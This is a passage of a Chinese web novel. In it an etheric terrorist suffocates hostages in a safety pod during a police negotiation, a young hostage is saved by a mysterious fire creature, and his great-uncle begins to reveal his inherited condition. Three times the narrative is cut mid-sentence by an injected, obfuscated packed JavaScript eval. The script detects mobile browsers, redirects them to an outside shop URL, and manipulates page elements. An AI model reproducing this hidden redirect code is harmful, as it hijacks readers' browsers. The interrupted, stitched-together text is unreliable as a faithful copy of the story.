赵虹蕾看到刘林一脸无所谓,甚至他身边的黑色开始翻涌起来,语气便放得更加软了,生怕刺激到这个情绪不定的恐/怖/分/子。 “我认为的社会问题,”刘林语气冷淡,“就是我们的地位还不够高。” 赵虹蕾没有回答。 不对,不对……她的神经不断警报着。一定不能被他牵着鼻子走,这当中一定有什么还没被辨认出的点…… 她的迟疑被认作了默认。 “这不就完事了?”刘林摊了摊手,“那我们还有什么好谈的?你也认同我的观点吧。 “我就是为了告诉所有人,”他的声音高昂了起来,“我们到底受到了什么样不公正的待遇,这个该死的,导致这一切的登记制度也必须要取消。警官,别告诉我你没想过这种事?” 这边赵虹蕾面色铁青,那边与她一起工作的警察们脸色也好不到哪里去。 他们眼下的最大目标就是保下人质。如果绑票者有什么物质上的需求,那其实反而好办,而最困难,最棘手的,恰恰就是现在这种情况。 她突然心跳加速,季井仪的话一下出现在她的脑海里。 不,不会是这样的,不该是这样的……终端的预测不会出错…… 她开口道:“我的同类,我……” 她突然听见从显示器那头传来了歇斯底里的笑声。 “不对,我一想,突然觉得您说得很有道理!” 她看犯人大笑着,脸侧的两道黑色纹路的颜色瞬间变得突兀了起来。 他对她做了个致敬的手势。 “向您致意!大智者!” 不仅是赵虹蕾,所有监测着34号安全舱的屏幕上几乎是同时响起了如蜂鸣一般的警报,鲜红色的感叹号几乎铺满整个屏幕。 安全舱里的以太浓度在极速升高,那么带来的物理变化就是…… 她听见有同事惊叫:“空气!安全舱里的空气正在变得稀薄……” “对!就是这样!” 刘林拍了拍手,毫无愧疚地对上安全舱里面色开始逐渐因为缺氧而青紫起来的人质们。 “大概十分钟吧,这群可怜的市民们就都要缺氧去世了。我还是很善良的,把这个时间设置得长了一点……啊,除了那个孩子,只要他的以太化程度够高,应该是和我一样,可以不需要氧气的……” 他夸张地做了个探头看的动作,在看到小孩同样痛苦的神情后摇了摇头:“但看着不太行啊?没办法,温室里的花朵就是这样。” “他不能被终端预测准……像所有脑袋坏掉了的‘人’那样。”季井仪的声音突然从赵虹蕾的大脑深处传来。 她的糟糕预感,以及商管侍的预计居然成了真。 他从一开始就不打算用人类会用的方式来解决问题。 不过幸好,终端永远不会漏算任何的可能性。 她见谈判破裂,抿了抿嘴,正想授权下一步行动,就听见刘林说:“所以,让我们来继续谈判吧!这就是我给出的筹码。” “立刻把这边的画面转播在新闻上。”他的嘴角高高翘起,“其他的……嗯,就不用了。” 赵虹蕾眉头紧皱。 “其他的呢?”她谨慎地问,“你没有其他要求了吗?” “没有了。” 他又笑了起来。 “你以为我会要求释放我的同伙吗?算了吧,万诚那个窝囊废你们就自己留着好了。 “快点吧,十分钟内没安排好的话,我们可就双输了。” 13. 拖延 十分钟能做些什么事呢? 在睡过头即将迟到的时候,可以在十分钟里换好衣服再洗漱完;在饿着肚子回到家的时候,可以用十分钟泡一杯泡面并且吃完;甚至做做白日梦,开会小差,十分钟就过去了。 不管怎么说,十分钟都毫无疑问的是一个尴尬的时长。它没有短得可以忽略不计,也没有长到可以用来完成什么有意义的事情。 但如果,在某一刻,你被突然宣判说只剩下最后十分钟的生命了,你会做些什么呢? 王睦友是什么都做不了。 他的大脑因为缺氧而变得沉重迟钝,在眼前甚至已经开始闪烁起了伴生着黑色的彩色斑点,这些都是晕厥的前兆。 他的幻听加重了。 他听见火在烧干的木头上燃烧的声音从四面八方传来,这让他恍惚间以为自己置身于一个被点燃的铁笼,而手握着铁笼钥匙的人站在他的面前,在一片火海里语气轻快地和他们唯一可能的救星讨价还价。 也不知道其他人还有没有对获救心存希望,但反正他是挺绝望的。 当然,其中也掺杂有一丝“为什么坏事都给自己遇到了”的不贫。 他认命地闭上眼,那团包裹着小小安全舱的火苗好像就近在眼前。他看到火焰在空气里翻腾,其下被烧得像碳一样的枯枝发出噼啪的响声。他越靠近火的中心却越觉得冰冷,只能在想象里对着火堆搓手哈气。 不知道是不是缺氧导致的,他抓不住自己的思绪了,好像在一片轻飘飘的云间穿梭。他一会想起昨天晚上突然产生的,被邺京这座城市卷入的危机感,一会想起当时想也没想就定了来邺京的车票的自己,车票的凭证尾号是彼此之间毫无关系的三位数字,最后得出了一个“我原来是个预言家啊!”的奇怪结论。 如果换做平日里的话,他肯定是不会考虑命运、因果这些虚无缥缈,可能和唯物主义世界观相冲突的定义的。但在生命的最后几分钟里,他围着越来越旺的、想象中的篝火,不由诗兴大发,只想把命运比作一个坏掉的流水线机器,他是技术不精的操作工人,一切都只为做出一件属于他的工业废品,哪怕这个粗糙的金属里面填充的,可能是晦涩的死的表达式。 正当他想对着这团火光再长长地感叹一声时,突然一簇火星从篝火里跳了出来,连带着一根枯枝的一侧也被炸得弹跳起来,火势瞬间减小了。 这幻觉里突兀的变故让他一下子就清醒了过来,肺叶也几乎是在同时重新感受到了甜美的氧气,这一切让他开始大口呼吸起来,脸色也随之有所好转。 他感觉大脑没那么胀痛了,便揉了揉头,看向周围其他的被困者。在看到他们也开始大口大口地喘气,并且流露出无法压抑的狂喜时,他便确信了,自己不是一口气没上来过去了,而是警方和绑架犯的谈判似乎成功了,他们的小命也就保住了。 季井仪也松了口气。 延展系统位于邺京的分部核心刚刚结束了运算,也就是在三十秒前安全舱的安保系统被它从内部瓦解,一个小小的,几乎无法被感知到的漏洞开在了安全舱表层的夹层里。通过这个洞口,他们就可以随时干预安全舱里的情况,甚至必要时刻可以控制安全舱的物理性状来制服歹徒,保护他们的人质了。 这可真是百闻不如一见。 她趁没人注意,稍稍地扫视了一下房间里几乎都面露轻松的同事们,在心里感叹延展系统的全能。 所有被持有终端之人注视的东西理论上都会被汇入延展系统的资料库,成为可以被随意调度的素材——犯人的面容他犯案的一瞬间就会由被害者的眼睛记录下来,位置便被即刻锁定,即便是号称保持独立运行的安保系统在面对更高一级的权限时也像纸一样脆弱。 她小小地扭动了一下手腕,骨头发出僵硬的咔哒一声。 那为什么商管侍还会说那种话?难道即便是根据犯人身份、履历量身设计的计划也会超脱计算吗? 她在心里慢慢过着涉案人的信息:肄业学生、瘾君子、无作案前科,甚至有着被延展系统判定为“安全性高”的性格,并不会做没有意义的事…… 因此延展系统按照这一系列信息规划了这次行动:初次犯案的罪犯往往会处于亢奋或者紧张的状态,因此谈判需要以安抚为主,以保证对方不会对人质进行激情伤害。又因对方目的性强的行事风格,以满足对方的阶段性要求作为手段应该是最好的选择。必须保证人质的安全直到抓捕开始……一切都规划好了。 明明延展系统拥有所有信息,并且做出了计算。那到底是哪里还有错误的可能呢? 她越来越想不通了,却也只能继续观望。 赵虹蕾同样密切关注着事情呃进展。 延展系统的核心计算不会出错,这是他们几乎所有人的共识。即便是出现了极小概率事件所导致的误差,它也会通过计算得出最佳的补救措施。 可某种会被称为直觉的东西却一直在她脑内徘徊着。但她也无暇分辨这种不安的感觉究竟是生物的本能还是某种不被关注的理性推理,只能在收到同事的信号后继续按照延展系统上的指令行事。 “刘先生,转播的频道代码我们已经打在屏幕上了,请您确认。” 她舔了舔已经干裂了的嘴唇,尽全力保持着语气的平稳。 “那么,您……” 事情像她一直在祈祷的那样发展了。 刘林居然真的非常地守信用。他微微歪了下头,像是单纯在终端上确认这个频道有没有播出那样,脸上的黑色花纹却极速消退了,一时安全舱里的喘息声、咳嗽声此起彼伏。 “啊,我还是讲信用的,这点你们可以放心。” 他翻着这个频道的详细信息,“那如果你们在骗我的话,作为一个普通市民,我的心可就要被伤透了。” “我们自然不可能骗您。” “谁知道呢?我可得好好确认一下。” 赵虹蕾看着刘林漫不经心刷着终端的脸,余光则关注着从程式漏洞处开始被入侵的安全舱控制系统,被注入的溶解函数正慢慢地侵蚀着它的外壳。 再过两分钟,她想,安保系统就会被彻底渗透了。 哪怕要出岔子,也一定要等到两分钟后。两分钟后安全舱就会被彻底开启,在开放空间下,即便作为以太生物,刘林也不具备可以大范围影响空气密度的能力,人质自然也就安全了。 她只希望刘林检查频道的时间越长越好,绝对不要再节外生枝了。 王睦友终于喘匀了气,他刚试着动动发麻的四肢,就再次感到了窒息的感觉。他的领子被人一把拽了起来,拽着他的人在把他拽到身边后,转而卡住他的下巴,这让他受伤的右手小臂干脆直接贴了地,火辣辣的痛感让他彻底清醒了。 他看到刘林笑着对他下指令:“你开开终端,看能不能收到这个频道。” 【突破进度80%】 【突破进度90%】 他把人质拽到了身边。 【开始装填束缚凝胶】 赵虹蕾听到她的同事窃窃私语。她的精神紧绷着,几乎到了崩溃的边缘,全靠着理性把她体表可能产生的异化往下压。 这是她的职业素养。以太化这种会暴露真实情绪的现象纯粹是谈判的累赘,她以在工作中能成功压制住这种现象为对自己的基本要求。 这次本来应该和之前几次工作一模一样,但随着束缚凝胶的到位,她身体里被模拟出的心脏却伴随着她脑海里越来越明确的违和感越跳越快。 不对,这次肯定还有哪里不对……可是延展系统不会有错误,它全都计算好了…… 她用力握住了手,不让指尖泛起的黑色暴露在摄像机里。 那边刘林还抓着王睦友。王睦友感觉自己强行抬起、正在操作终端的小臂越来越痛,好像火在手臂上烧起来一样。再加上他精神紧张,点了好几次都没能点进刘林要的频道。 于是那抓着他的人便不耐烦了。他啧了一声,一把抓在王睦友手上的小臂上,粗暴地拖着他的手开始操作。 王睦友痛得眼前发花,视觉里四散的光点就像是焦炭燃烧时蹦出的火星。他甚至来不及做什么反应,就隐约间又听到木料摩擦的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我只是想让我的恐怖袭击能被更多人看见罢了。哦对了,看你们被我骗的太惨,我也就顺便说一句。我其实对法案没什么看法,但你们被我忽悠的样子是真的很好笑。总之谢啦,让我能这么开怀地笑一笑。我也是时候送这些可怜的人质上路了。” 他打了个响指,被急剧压缩的以太随即膨胀,一场剧烈的爆炸再所难免,而警察们费尽心思想保护的人质,也即将在他们的眼前灰飞烟灭。 但这并没有发生。 几近绝望的赵虹蕾,只从镜头里看到那个穷凶极恶的罪犯像是被什么东西蛰了一下一样,突然甩掉了手上拉着的人质。而也就在这迟缓的,爆炸没能发生的一秒间,浅青色的凝胶直接从漏洞处喷出,准确地覆盖在了他的身上。凝胶甫一接触□□便瞬间膨胀,甚至在把目标裹成了一个球体之后还在接连不断地膨胀,直到抵住了安全舱的墙壁,将那些原本坚硬的部件化成了水。 在安全舱外已经守候多时的抓捕程序瞬间发出了数十个浅蓝色的立方体,几乎是同时控制住了还在试图挣扎的罪犯。救援机器人紧随其后,用柔软的长臂把人质一个个抱进了他们的肚皮里,再以最快速度把他们运送到安全区域。 这一切都是在几秒间发生的,几乎没有人看清,也几乎没有人去想,为什么刘林的能力没能发动,为什么他会突然甩开手上人质的手臂。 除了季井仪。 在欢呼声中,她几乎激动地颤抖着,为她刚刚通过以太密度监测器所看到的东西。 她看到,从被刘林抓着的那个年轻人的小臂上,一只像某种小兽的东西,在刘林打响指的一瞬间,窜出了被抓着的人质手臂上手印一样的烧伤,狠狠地咬了那时正志得意满的绑架犯一口。 而这一口,就像是一团掉进稻草的火星,将空气里受到控制的以太烧得一干二净,直接清空了那一小片空间里的以太粒子。 但是被这小动物寄居的年轻人绝对不是以太生物,这断然不是以太生物的某种特性操控出的现象。 她一手拽住胸口的衬衫,指甲直直戳进了需要被每天打理的娇贵布料,可她能感受到的只有一种直觉所带来的兴奋。 那是某种她极为熟悉的东西,她曾在小时候听家里的长辈提起过这些理应已经消失近一个世纪的东西…… 但这些都不重要。 她的瞳孔因为兴奋而微微放大。 季家的仙法……怎么会在这里?她想。 14. 劫后余生 在被救援机器人抱在肚子里抬走的时候,王睦友脑子里还是嗡嗡的。刚才几乎是在一眨眼间发生的事情,在救援机器人释放出的芳香里逐渐变得可思考了起来。 这类的新型救援机器配备有特殊的心理医疗设备,专门应对应激导致的精神问题。在机器人柔软的肚子里,金色的阳光透过透明的换气口,还有特殊频率的舒缓声音以及温和的气味,王睦友紧绷的神经终于是放松了。 在听到那颗火星被点燃的声音时,他的大脑一片空白,只剩下“完蛋”两个大字留在脑海里。 这在邺京度过的不到一天一夜的时间就足够告诉他,只要一听到这种奇怪的声音,他就要开始倒霉了。 在这里的意思即,抓着他们的绑匪要准备撕票了。 那在这个他被抓着,跑又跑不掉的情况下,他唯一能做的,又有什么呢? 他挣扎了起来,被烧伤的小臂可能是因为他的焦躁,灼烧感更加强烈了起来。他隐约间看见有一颗两颗的、金红色的火星开始在视线范围内流窜。 现在回忆起来仍觉得不可思议,那些金红色的颗粒划过的轨迹就像某些特殊的丝线,在他一片空白的大脑里画出了未知的符号。 去把它画出来吧。 他听见自己的脑内响起了一个声音。 画出来。它命令道。 如果你想活下去的话。 于是他就这么做了。 他的右手被制住,只有左手还能活动,于是他便用左手食指的指尖在地上勾勾画画,每一笔都牵扯着视线范围里鲜红的线条。 王睦友现在还能回想起来自己当时的行为,甚至好像可以感受到那些线条的触感。但是他此时躺在圆圆机器人的肚子里,在柔和触感和芳香的安抚下只觉得恍如隔世,好像做出这一系列举动的人不是他自己一样。 在那一刻,原本因恐惧而放空的头脑虽然依旧是空白一片的,他本人却像是陷入了一种极致的规则中。他规划着这狭小空间里的规则,同时也受着规则的制约,连可能被撕票的恐惧感都被他排除在外。 好像他的生命就是为了完成这完整的图案而存在的。 但这一笔画最终还是没能画完。在一片空白的空间里,他始终是无法想明白图案的最后半个部分,而决定了这最后半个部分的,就是刘林突然爆发出的狂笑。王睦友一个激灵,精神被强制从这平静的状态里拖了出来,手一滑,干干脆脆在地上画了个8字。 这8字刚画完,他还没来得及想“完了完了完了”,就听到一声来自现实的响指声,狭小箱子一样的安全舱顿时像被抽干了气的气囊,肉眼可见的黑色以太粒子像漩涡一样聚集在了刘林身边。 当然,也在被刘林抓着的王睦友身边。 气压被以太粒子搅动,开始急剧降低。 他转过头,惊恐地看见其他人都全部都被这气压压得喘不过气,连阅阅都痛苦地趴在了地上,喘息的声音像是被破坏的风箱。他捂住了胸口几乎倒在地上,熟悉的窒息感带着死的恐惧再度袭来。 但人毕竟不会经历两次同样的窒息,也没有生命会被宣告两次同样的终结。 在恍惚间,在即将把他们烧死的燃烧声中,他听到了一声犬鸣穿透了火焰,像是一阵风一样赶到了他的身边。 之后发生了什么呢? 王睦友抬起右胳膊,看向小臂,那里现在光洁又干净。明明烫伤的痕迹在十分钟前还又红又肿,严重得像是不截肢就没法治愈的绝症。可现在这道痕迹已经无影无踪,连带着刚才发生的一切都在芳香疗法下变得像普通的噩梦一样。 他捏了捏小臂上白净的皮肉,是正常又健康的皮肤质感。困惑之下,他一咬牙,用力拧了一把自己的胳膊,随即发出了今天的第二声痛呼。 看来他是真没在做梦。 他的确看到了:随着那声犬鸣,有一只带着火星的小动物冲破了他胳膊上烧伤的痕迹,带着十足的狠劲,一口咬在了刘林拽着自己的手上。 刘林吃痛,骂了一句甩开了王睦友。在看到那只小动物的形象时,他原本还处于放松状态的黑圈瞳孔顿时紧缩,脸上消退的以太痕迹一下明显了起来,颜色提升到了王睦友之前未曾见过的浓度。 那只小动物吠叫着,从喉咙深处发出充满敌意的“呜噜”声,这让搞不清楚状况,不知道自己这会该不该害怕的王睦友一下想起了一只熟悉的小黑狗。 但那又是谁呢?他想。 自己什么时候见过这样的动物呢? 不过这些问题显然不适合这样的紧急关头。他来不及思考,压抑了好几个小时的恐惧、愤怒末路只能凝成撕心裂肺的一句:“酿肉!咬他!!!” 刘林也顾不上这个不听话的人质了——他只想赶紧把这小动物和安全舱一起炸上天。这小动物的存在明显是引起了他的某种恐惧,和刚才被他压迫的阅阅一样,这种恐惧让他无法控制自己身体的行动,只能再次打响了响指。 但他预想中的空气爆炸并没有出现,反而是那只看不出形象的小动物得到了王睦友指令后,像一只扑向猎物的猎犬会做的那样,冲着刘林就咬了过去。它轻松地突破了围绕在目标身边的以太粒子漩涡,轻松得像磕破一枚鸡蛋,再狠狠一口咬上了他的手。 那小动物咬了一口还不罢休,小小的身子一下延长成了一捆绳子,紧紧锁住了刘林的身体,而也几乎是在同时,王睦友还来不及欢呼,就看到从天花板上落下一大团淡蓝色的,像是果冻一样质感的液体,把刘林和他身上的小动物一起裹了个严严实实。 这还不算完,在刘林挣扎的时候,王睦友就听见咚的一声,极坚固的安全舱瞬间崩裂。突然照射进的阳光晃得他眼前一花,眯起眼睛时,他看见无数银蓝色的线伴随着十数个圆滚滚的小机器人一起涌入了解体的安全舱。 得救了。 王睦友来不及深想,也来不及去关注小动物的去向,就被机器人松软像毛巾一样的大手裹起,塞进了一片软绵的肚子里。 他的精神状态还算健康,现在回想起这一切只觉得像做梦一样,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265386|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至在机器人的心理治疗下,劫后余生的欣慰感几乎变成了一种席卷全身的狂喜。既然身上也没什么伤病,他就干脆看热闹不嫌事大地趴在松软的垫子上,在机器人的允许下,调整了可以接收的,来自外界的声音音量,舒舒服服地透过圆窗向外看。 他已经被送到了医院门口的石像附近了,在人群中他自然看到了阅阅的母亲,那个干练的女人现在眼睛红肿,在看到装着阅阅的那个小一号的机器人时如释重负,但仍抱着机器人差点哭得背过气去。她被软乎乎的机器人扶住了,肩膀一抽一抽,而机器人的显示屏上蓝光闪烁,估计是在计算她是不是也需要被拉进肚子里做心理疏导。 出乎他意料的是,裘诺不在这里,他的舅爷吉老爷子倒是在现场。他还在一边安慰着:"诶呀,人没事就好。小周你也别哭了,等会阅阅出来看到你这么哭,也会难过的。你看,这不已经没事了?诶,说起来,我的乖侄孙呢?阅阅都出来了,他应该也在了吧?" 您终于想起我了,我可早出来了。 王睦友看着四处寻找自己的吉老爷子,心里忍不住犯嘀咕,但还是向机器人申请了离开。在评估结果为"允许"后,他钻出了机器人的肚子,正想挥手叫住在机器人群里乱转的吉老爷子时,他突然听到了像是引线被点燃一样的声音。 是从石像里面发出的。 吉老爷子一下回过头,他固然看到了王睦友,但是目光却径直穿过了他,落在他身后的石像上。不只是他,正在看热闹的围观群众、被救出的人质大部分都还聚集在那边。可此时,石像上已经冒出了丝丝黑烟,眼看着是要爆炸,但这群人似乎都看不见这一不详的前兆。 王睦友正想喊群众避开,就看到一团赤红的火焰从石像的根部燃起,将它兽型的轮廓染成一片火焰的深红。 王睦友目瞪口呆。 他看着这自顾自燃烧的石像,但直到火势减小,石头青灰色的底色再度浮上表面,都没有人意识到这场静悄悄的火灾是何时开始,又是何时结束的。 即使这变故是那么显眼,却没有人向那边投去一眼。王睦友往石像处走了几步,想看得更真切一点,却在看到了另一边的人群时愣住了。 他正想追过去,那边吉老爷子就接连跨过几个小机器人,激动地一把抱住了他。 "睦睦!你怎么就从机器人里出来了?没有哪里受伤吧?" 吉老爷子拉着他的两条胳膊,上上下下打量了一番,在确认他似乎没受什么伤害后松了口气,絮絮叨叨:"诶呀,没事就好。人倒霉起来喝凉水都塞牙,想开点。球球先回去了,说是想做点花时间的。今天晚上舅爷请你,你得好好补一补……" 这绝对是在骗我。 王睦友的嘴张张合合,却一个字都吐不出来。 裘诺明明就在石像那边的人群里。 他想说,但却只是僵硬地看着眼前的老人,目光依然停留在刚刚人影消失的那处。 刚才,在她的身上缠绕着的,是和点燃石像的一模一样的赤红火焰。 15. 喝豆腐鱼汤时 “睦睦啊,你吃点吧?” 王睦友躺倒在沙发上,他看了一眼吉老爷子放在茶几上的奶白色的汤,挣扎着坐起来。然后在老人家回过头,对躲在厨房里的裘诺做手势时,他不慎和躲在门后查看情况的老板娘对上了眼,又嗷地一声倒回去了,头一扭,朝着沙发边上的垃圾桶就干呕起来。 吉老爷子认命地叹了口气,轻轻拍着王睦友的背:“你悠着点!别把胆汁也吐出来了。唉,没想到这机器人的心理疏导副作用那么大…” 王睦友趴在沙发上喘了一会,总算是大致平复了呼吸。他痛苦地把头扭向一边:“可别说了,也不看看是什么事搞的……” 现今的救援机器人配备的心理治疗系统说穿了,就是一种改写记忆的技术。 以太生物的原始形态,其实只是一摊像史莱姆一样的软体。他们全身上下最大的致命点就被包裹在这团软体中,而这块形似黑水晶的,储存了以太生物所有生命力的东西,被叫做核心。 这么说来,其实以太生物最初始的样子,比起生物,更像一颗巨大的细胞。如果以太生物无法进行对其他生物的拟态的话,实在是令人很难想象这坨史莱姆是怎么混入其他各类生物的群体,让目标生物的族群无法分辨出他们,甚至和它们繁衍出带有以太体质的后代的。 “拟态”才会是他们赖以生存的本能。 它们靠着以太物质超乎寻常的可塑性,在身体内部、体表模拟出目标生物的所有特征。从体征,到身体内部的每一处脏器,体内的循环,甚至到目标生物有的生物学上的限制,都会被它们完整复制。 虽然对于以太化程度高的以太生物来说,这些拟态出来的东西纯粹只是表象,只要核心不受到伤害,他们就可以自如地存活下去。但对于以太化程度相对较低,甚至还没有以太化的以太生物来说,如果受到了对于他所拟态的生物而言致命的伤害,那该死还是会死的。 而通过对拟态能力的研究,应用于人类身上的医学也就此得到了发展,尤其是在脑科学的方面。这次王睦友遇到的这种高效的,本质却类似于改写记忆的心理疾病治疗方法,就是投入实际使用的研究结果之一。 但这也并不是完全没有副作用的。 它能够在短时间内模糊被治疗者对于某一已发生事件的回忆,但是如果和经历事件时产生的类似情绪在短时间内被再度唤起,这种手段很可能就会失效了。 王睦友就在提着小机器人给的后续心理治疗的用药跟着吉老爷子回到光辛饭店,看见先一步回来,正在为他们准备了晚饭的裘诺时,遭遇了这一情况。 他的心脏几乎要从喉咙里跳出来,之前因为情况紧急而麻木了的情绪全都转化成了后知后觉的恐惧和焦躁。 另一边吉老爷子本来正开开心心地准备去拿碗盛饭,一回头发现自己的好侄孙脸色白得像个死人,赶紧把还无知无觉在厨房盛汤的裘诺拖了出来,两个人七手八脚地把王睦友抬到了沙发上。 直到他们俩强行把小机器人留下的药给王睦友灌下后,这可怜的年轻人才恢复了神智。但他在看到裘诺写满了担心的脸时,直接无法自控地一下吐了出来。幸好现在用于管理房间内部的系统足够敏锐,在他吐出来的一瞬间给他准备好了垃圾桶,不然今天晚上裘诺和吉老爷子怕是要同时照顾病人和收拾房间了。 吉老爷子一副痛心疾首的样子。王睦友吐得都快虚脱了,但剩下还能活跃的脑细胞还是不安分。它们可能平时是不怎么中用,但此时却在疯狂计算着“明明我们都不怎么熟,怎么舅爷一副那么难过的样子。”这一问题的答案。 毕竟猜疑的种子一旦种下,可就不是什么“好像他也没对我不好”这种说辞可以搪塞过去的了。如果事到如今,王睦友还没有任何一丝的猜疑,那他自己都会想把自己再送回医院去看看脑。 他再次试图坐起来。 这次吉老爷子学乖了,他一边挥手让裘诺再藏严实点,一边把王睦友扶了起来。 眼看着小年轻坐着直喘气,但并无更多不适的样子,他才放下半颗心,把茶几上的海碗递给王睦友:“你有什么问题就问吧,答应要回答你的问题我都不会糊弄过去的。不过你还是多少先吃点,今天这整一天也是苦了你了,唉。” 王睦友本来想做出公事公办的严肃样子,拒绝在讨论问题时吃吃喝喝,但奶白的豆腐鱼汤带着新鲜河鲜才有的香气,其中还伴有稍许若隐若现的胡椒味,这一份来自于美味蛋白质的诱惑让他的肚子不争气地叫了起来。 他接过比那只自己脸还大的海碗,呲溜呲溜一口气先喝下去大半,感觉胃袋总算是舒服了,才在吉老爷子“小心刺,慢点喝!没人和你抢!”的叮嘱里抬起头,却因为问题太多而一时不知道该从哪里问起了。 他看了一眼厨房的方向,裘诺已经在那里面关上了门,甚至把门上能显示出她身影的半透明件都调成了不透明,这让王睦友纵使心有余悸,但仍然在生出了一丝丝愧疚。 毕竟从事实上来说裘诺非但没害过他,还一直在帮他,现在这么做也是为了不再引起自己更多的不良反应。 那这样就更需要问清楚了,怎么说都不能平白冤枉好人。 他打定主意,深吸一口气,吉老爷子却先开口了。 “睦睦,我知道问题有很多。那我来说吧,也不打扰你吃饭。你就先吃着,等听到不懂的地方再问。” 王睦友像被棉花堵了嘴。但他转念一想也不觉得这是个坏提议,便给自己的舅爷在沙发上腾了个能坐下的地方,端着碗安静地听吉老爷子讲故事。 “的确,需要解释的部分很多,这也会是个很长的故事。我尽量说重点,但也希望你别嫌我这个老头子讲话墨迹。” 王睦友点点头,心说这应该是个很长的故事,便拿勺子挖了块汤里的豆腐凉着,打算权当下饭故事了。 吉老爷子见他同意,便好似心里一块石头落了地。他点点头:“那我就说了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265387|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王睦友把豆腐塞进嘴里。 “睦睦,啊不是,这里应该严肃点。” 吉老爷子轻咳一声。 “王睦友,你不是人。” “哈?!啊!咳咳咳咳呕……” 吉老爷子虽然上了年纪,但此时眼疾手快,赶紧扶住了王睦友差点打翻的汤碗。 “诶呦!悠着点!没被刺卡住吧?要喝点醋吗?” “这不是被刺卡住的问题吧!” 王睦友情绪激动,刚才差点噎住他的豆腐随着他剧烈的动作也顺利滑下了食管:“不是,先不论您这是不是在骂我,您这话说出来,我都不太可能情绪平静吧!” 吉老爷子做了个安抚的手势:“所以!你先听我说完!” 王睦友念叨:“让您挑重点也没说让您一上来就扔炸弹啊……”他把汤碗放到茶几上,心里打鼓,手上发颤,放碗的几秒内都差点把汤都给抖出来,“您……您继续。” “你这小年轻倒还是比你爸那会镇静多了,真是挺让人欣慰的……”吉老爷子小声地咕嘟了一句,“不过也是,现在如果被人说你不是人,那其实也挺正常的。毕竟已经是以太人类遍地走的时代了。但我要说的是,你也不能被说成是以太人类就是了。” 王睦友豁然开朗。 是了,各种带有奇幻色彩的作品的主角往往有着独特的经历,而特殊的先天体质大概率是其中不可或缺的一环。他刚快进到在脑内幻想自己这个主人公的成功人生时,就被迎面而来的一盆冷水浇了个透心凉:“唉,这种体质,就算我都和它共存了五六十年了,但还是一直不适应。前天我入院,大概就是这种体质在作祟的原因。 “我们这种的,应该算是以太生物里的残疾人了。” 他继续解释,观察着王睦友脸色的变化:“我们啊,大体上的体质都还是普通人。但是我们同时还会受地下以太流脉的影响,大多数其实还都是负面影响……呃,优点其实也是有的,只不过相比之下,显得,有点少。” 他犹豫着说:“我想你这两天应该经常有幻听吧?那个就是我们体内没能正常发育的感官。过去,它救过我不知道多少次。该说不说的,我觉得这应该算少数的优点之一……” 这大起大落弄的王睦友兴致缺缺。他叹气:“所以呢?舅爷,你跟我说这个只是为了让我之后定期去医院做体检吗?还是需要去登记一下?” “登记嘛……因为我们的各项数据其实就是普通人。根据这两年的政策嘛,的确是不需要的。不过,我会说这个也只是为了给之后我要说的话,也就是你的父亲的病逝的真相做铺垫。” 他看了一眼厨房:“其实,这件事由他来说会更合适。但介于现在你的情况,我就逾矩代劳了。 “睦睦,你的父亲,他并不是单纯的病逝。引起他死亡的病,和我们的体质相关。而这种病会被诱发,是因为……” 他踌躇着,好像不知道怎么构建语言。 16. 坦白从宽 在被解除五感的限制后,刘林第一眼看见的除了巨大的透明立方体监牢,就是被关在他隔壁的万诚。 两人眼神刚一对上,刘林心里就咯噔一声,心说完蛋了,自己这软蛋队友怕不是把什么都招了。 他心里一不痛快,体内的以太免不了就活分起来。 他隔壁的万诚还来不及敲墙提醒,刘林就听见从头顶传来的【已超过临界点】、【警告】,紧接着就是身上一重,直接干脆地栽倒在地上。 赵虹蕾刚走进来就目睹了这一幕。她无奈地对被关在里面的那两个犯罪分子说:“安分点吧,不然程序会把你们那边的以太密度继续调低的 她揉了揉自己的太阳穴:“虽然你们是犯人,但我不想、也没有权力为难你们。我们速战速决吧,你们也好早点回监管所休息,这样对谁都好。” 刘林瘫在地上冷哼一声:“对谁都好?是为了让你好戴罪立功吧?” 他对赵虹蕾不无嘲讽地说:“你的错误决策可差点害得那几个市民被我撕票诶?” 赵虹蕾放在桌下的手一下握紧了。 他这句话说到了赵虹蕾的心结上。 从昨天警方缉拿了刘林,宣告东港爆炸案和邺京交通医院爆炸案均已告破后,在短短不到24小时内,这两起案件就引发了社会各界的极大关注和讨论。甚至有些人有门路,居然搞到了刘林和赵虹蕾对峙时的音频,发布在了几个平时流量大的网络社交平台,试图把话题往以太人类是否受到了公正对待这个方向引。而在这个维度上的讨论里,也有不少人怒斥警方不专业也不作为,不了解被压迫的以太人的心理,结果导致谈判破裂,害得人质身陷危险。 当然,这只是一小撮人的声音罢了。 主流的看法还是对警方的表现认可的,并且帮警方辩护说“对方就是纯粹的恐/怖/分/子,从一开始就不想和谈吧?”的也不在少数。两方针锋相对,其结果就是网上针对这件事情的讨论,最后主要变成了互相盖“人类至上主义”还有“想要特权的以太人”大帽子的混战,事件本身倒是就这样从讨论的中心隐去了。 但这件事最可怕的恰恰就是被大家视而不见的那个部分。 延展系统在那天出现了巨大的计算偏差,差点酿成无法挽回的错误。 